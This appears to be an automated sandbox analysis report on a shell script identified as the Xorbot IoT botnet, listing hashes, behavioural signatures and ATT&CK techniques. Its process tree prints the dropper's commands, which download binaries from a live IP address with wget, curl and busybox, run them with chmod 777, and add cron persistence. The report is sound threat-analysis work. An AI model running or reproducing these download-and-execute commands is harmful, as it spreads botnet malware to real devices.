Analysis
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max time kernel
149s -
max time network
161s -
platform
debian-9_armhf -
resource
debian9-armhf-20240611-en -
resource tags
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submitted
12/12/2024, 19:17
General
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Target
bins.sh
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Size
10KB
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MD5
0ef4cd4b12da2c04c9935a28b574707c
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SHA1
d1bfebb0cc8f5c8223e8f0c5fddb62fb2630a30d
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SHA256
07d199396942a8726579d96040e7c5050b053315730edaf76b76d01a5413af43
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SHA512
e473d8b93e142f6f1f8e39b98a2171d07fafd1dc3857d900d433351250bc7b8ca8f0076a25726a473240536c2b2108fa47fa908158559a8b9055748e4c184865
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SSDEEP
192:LfUyMVFMc4jQopTx5O5t5Zd0NN9aYfDj4PZd0NNUx5O5tdDj4gr6VFgc4jQoz:rUyMVFkWZd0NN9aYfDj4PZd0NN/Dj4gT
Malware Config
Signatures
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Detects Xorbot 3 IoCs
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Xorbot
Xorbot is a linux botnet and trojan targeting IoT devices.
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Xorbot family
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Contacts a large (2102) amount of remote hosts 1 TTPs
This may indicate a network scan to discover remotely running services.
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Creates a large amount of network flows 1 TTPs
This may indicate a network scan to discover remotely running services.
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File and Directory Permissions Modification 1 TTPs 3 IoCs
Adversaries may modify file or directory permissions to evade defenses.
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Executes dropped EXE 3 IoCs
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Renames itself 1 IoCs
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Creates/modifies Cron job 1 TTPs 1 IoCs
Cron allows running tasks on a schedule, and is commonly used for malware persistence.
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Enumerates running processes
Discovers information about currently running processes on the system
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Checks CPU configuration 1 TTPs 3 IoCs
Checks CPU information which indicate if the system is a virtual machine.
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Reads runtime system information 64 IoCs
Reads data from /proc virtual filesystem.
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Writes file to tmp directory 9 IoCs
Malware often drops required files in the /tmp directory.
Processes
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/tmp/bins.sh/tmp/bins.sh1⤵
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/bin/rm/bin/rm bins.sh2⤵
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/usr/bin/wgetwget http://37.44.238.68/bins/iX3mqtpZnbxIrkrg3ECzTSOI5zY3CLo2nd2⤵
- Writes file to tmp directory
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/usr/bin/curlcurl -O http://37.44.238.68/bins/iX3mqtpZnbxIrkrg3ECzTSOI5zY3CLo2nd2⤵
- Checks CPU configuration
- Writes file to tmp directory
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/bin/busybox/bin/busybox wget http://37.44.238.68/bins/iX3mqtpZnbxIrkrg3ECzTSOI5zY3CLo2nd2⤵
- Writes file to tmp directory
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/bin/chmodchmod 777 iX3mqtpZnbxIrkrg3ECzTSOI5zY3CLo2nd2⤵
- File and Directory Permissions Modification
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/tmp/iX3mqtpZnbxIrkrg3ECzTSOI5zY3CLo2nd./iX3mqtpZnbxIrkrg3ECzTSOI5zY3CLo2nd2⤵
- Executes dropped EXE
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/bin/rmrm iX3mqtpZnbxIrkrg3ECzTSOI5zY3CLo2nd2⤵
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/usr/bin/wgetwget http://37.44.238.68/bins/RwsnOMRv6MS2knKFiYir7ng0vovxsL3fw62⤵
- Writes file to tmp directory
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/usr/bin/curlcurl -O http://37.44.238.68/bins/RwsnOMRv6MS2knKFiYir7ng0vovxsL3fw62⤵
- Checks CPU configuration
- Reads runtime system information
- Writes file to tmp directory
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/bin/busybox/bin/busybox wget http://37.44.238.68/bins/RwsnOMRv6MS2knKFiYir7ng0vovxsL3fw62⤵
- Writes file to tmp directory
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/bin/chmodchmod 777 RwsnOMRv6MS2knKFiYir7ng0vovxsL3fw62⤵
- File and Directory Permissions Modification
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/tmp/RwsnOMRv6MS2knKFiYir7ng0vovxsL3fw6./RwsnOMRv6MS2knKFiYir7ng0vovxsL3fw62⤵
- Executes dropped EXE
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/bin/rmrm RwsnOMRv6MS2knKFiYir7ng0vovxsL3fw62⤵
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/usr/bin/wgetwget http://37.44.238.68/bins/pGtkETO8rvclB4qnwK53HHsZDMoBSMvcjW2⤵
- Writes file to tmp directory
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/usr/bin/curlcurl -O http://37.44.238.68/bins/pGtkETO8rvclB4qnwK53HHsZDMoBSMvcjW2⤵
- Checks CPU configuration
- Writes file to tmp directory
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/bin/busybox/bin/busybox wget http://37.44.238.68/bins/pGtkETO8rvclB4qnwK53HHsZDMoBSMvcjW2⤵
- Writes file to tmp directory
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/bin/chmodchmod 777 pGtkETO8rvclB4qnwK53HHsZDMoBSMvcjW2⤵
- File and Directory Permissions Modification
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/tmp/pGtkETO8rvclB4qnwK53HHsZDMoBSMvcjW./pGtkETO8rvclB4qnwK53HHsZDMoBSMvcjW2⤵
- Executes dropped EXE
- Renames itself
- Reads runtime system information
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/bin/shsh -c "crontab -l"3⤵
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/usr/bin/crontabcrontab -l4⤵
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/bin/shsh -c "crontab -"3⤵
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/usr/bin/crontabcrontab -4⤵
- Creates/modifies Cron job
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/bin/rmrm pGtkETO8rvclB4qnwK53HHsZDMoBSMvcjW2⤵
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/usr/bin/wgetwget http://37.44.238.68/bins/LesNI4xKDOB4cDhCD7pS6r3w407eV7JrZG2⤵
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Network
MITRE ATT&CK Enterprise v15
Defense Evasion
File and Directory Permissions Modification
1Linux and Mac File and Directory Permissions Modification
1Virtualization/Sandbox Evasion
1System Checks
1Replay Monitor
Loading Replay Monitor...
Downloads
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Filesize
122KB
MD5cd3d4b9c643e5b473fb4d88ed05f0716
SHA164ee7a97418583d759eaea8000890cc3bae1b5f4
SHA2560cbb1e62423a82d17a7b1c9def6a5570a8414f36e2623f1d82cd4e6281930944
SHA512164ee6eb1dc167f48a62683700bf3a4787f9ec4b12335e9e30d6670406324d111557b3be22fd6a9689b4f60562c8a3bf62867f2cae86c04cb1b01ee2e219cc52
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Filesize
111KB
MD5ca897a38f23ec23521ce0b1b83f8422d
SHA1b8d2ab335346aba9a72bae0fe3533aca1ab7b66a
SHA256043df61baf17d6a2353b418c5f87eebea4ca1c3fd6b63eaccc34d9bcd0556832
SHA51210d3026b43167121b62786dde231a04e25eb27905989f59a92b5eba92134e30cea554a73e419d3a505e650ee4c474ee407103df335cd84bd8c0f3428ccc16feb
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Filesize
141KB
MD53ca8decdb1e52c423c521bfff02ac200
SHA18621ecd6807109b8541912ad9e134f6fb49bfd48
SHA256dee3a1252e88f188c362e08b16ece678559ad2566511871f5cde69296f6c779f
SHA512b6f89d7875d584c109f30814738fec4fe04619745941d9cbbff20bbefbab454dee7180321f6913da1a3b89fba2dc743b28631e52261539d091cc802a5c7a1c7a
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Filesize
210B
MD5b988bdd4e461bb889b077c6c8740feb7
SHA12308561f8006c75f9d8c107e169fe67996f36bf9
SHA256f632dcaf4ad52e90d6366c1c5ad5d0e989c1edfb54948f4e00cdfac7c920ebd1
SHA51208de73928f3ee7324781b7a882283be89c555bf71b5a1b4d71447857774b51df78ae868cf59f53ed4ef0a292ea0982a9eedd31942afbbc729626c14c838399a4